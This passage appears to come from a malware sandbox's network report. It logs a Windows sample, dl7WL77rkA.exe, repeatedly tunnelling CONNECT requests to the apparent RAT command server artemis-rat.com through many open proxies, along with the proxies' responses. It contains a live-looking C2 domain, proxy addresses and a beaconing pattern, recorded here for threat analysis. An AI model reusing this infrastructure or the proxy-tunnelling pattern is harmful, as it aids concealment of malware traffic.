Mar 11, 2024 03:31:27.955363989 CET	60	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache
Mar 11, 2024 03:31:35.507469893 CET	60	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache
Mar 11, 2024 03:31:50.355456114 CET	60	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1524	192.168.2.5	54129	172.67.25.204	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.855458021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.010020018 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1525	192.168.2.5	50082	104.238.111.107	26305	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.863953114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.905006886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.989506006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.036731005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1526	192.168.2.5	53802	132.148.128.88	29313	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.870871067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.905198097 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.998831034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.092871904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1527	192.168.2.5	54094	163.172.129.251	16379	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.878737926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.607986927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.514638901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.311554909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.900506020 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1528	192.168.2.5	53695	80.169.243.234	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.934174061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1529	192.168.2.5	49987	162.241.6.97	63360	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.937077045 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.014290094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1530	192.168.2.5	53719	194.4.50.60	12334	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.939167023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1531	192.168.2.5	54105	202.131.65.110	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.939169884 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.266884089 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1532	192.168.2.5	49989	92.204.134.38	9375	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.939554930 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1533	192.168.2.5	52721	153.19.91.77	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.940032005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.092468977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.202038050 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:31:17.931569099 CET	804	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 612 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 73 73 63 40 67 63 69 2e 67 64 79 6e 69 61 2e 70 6c 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at ssc@gci.gdynia.pl to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>
Mar 11, 2024 03:31:52.469439030 CET	804	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 02:31:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 612 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 73 73 63 40 67 63 69 2e 67 64 79 6e 69 61 2e 70 6c 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at ssc@gci.gdynia.pl to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1534	192.168.2.5	49952	176.241.143.197	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.941252947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.092458010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.202019930 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.109069109 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1535	192.168.2.5	54155	172.67.181.197	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.961136103 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.115636110 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1536	192.168.2.5	53635	149.34.210.62	9090	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.970967054 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.092662096 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1537	192.168.2.5	54123	154.12.178.107	29985	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:44.990813017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1538	192.168.2.5	53731	161.97.147.193	19655	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.002625942 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.014503002 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:51.108208895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:57.217164993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1539	192.168.2.5	54221	188.114.99.171	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.008536100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.164302111 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1540	192.168.2.5	50107	183.96.235.105	18572	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:45.012247086 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.092664003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
